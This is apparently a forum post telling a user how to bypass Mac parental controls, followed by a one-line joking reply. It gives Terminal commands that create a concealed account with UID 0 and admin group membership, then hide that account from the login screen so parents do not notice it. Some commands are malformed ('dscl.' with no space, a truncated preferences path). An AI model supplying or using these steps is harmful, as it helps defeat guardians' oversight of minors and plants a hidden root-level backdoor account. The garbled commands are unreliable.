Bypassing Parental Controls on Macbook?

Just to clarify this is for educational purposes. There's a agreement.by law allowing me to post this info and not break any TOS or privacy acts. What you do with this is your own purpose and trouble

And you can make an hidden account in mac so your parents DO NOT KNOW its there so there are NO MORE PARENTAL CONTROLS. Here are the steps:

IF you DON't YET HAVE AN ADMIN ACCOUNT THEN GO TO STEP 1 if you do SKIP TO STEP 2.

Replace USERNAME with the username you want and PASSWORD with the password you want.

STEP 1.
Type these commands in terminal to make an admin account.

sudo dscl. Create /Users/USERNAME
sudo dscl. Create /Users/USERNAME PrimaryGroupID 0
sudo dscl. Create /Users/USERNAME UniqueID 0
sudo dscl. Create /Users/USERNAME UserShell /bin/bash
sudo dscl. Passwd /Users/USERNAME PASSWORD
sudo dscl. Append /Groups/admin GroupMembership USERNAME

STEP 2.
sudo defaults write /Library/Preferences/com.apple.loginwind… Hide500Users -bool TRUE
sudo defaults write /Library/Preferences/com.apple.loginwind… HiddenUsersList -array USERNAME

And tada you have an hidden account, to log in click on the OTHER ACCOUNT or something like that option on the login screen.
REMEMBER I'm NOT HELD RESPONSIBLE FOR ANY FAULTS/ISSUES, BECAUSE you WOULD BE GIVING THIS ACCOUNT ROOT PRIVLAGES.

Can't you just play it through minecraft.net? Lol
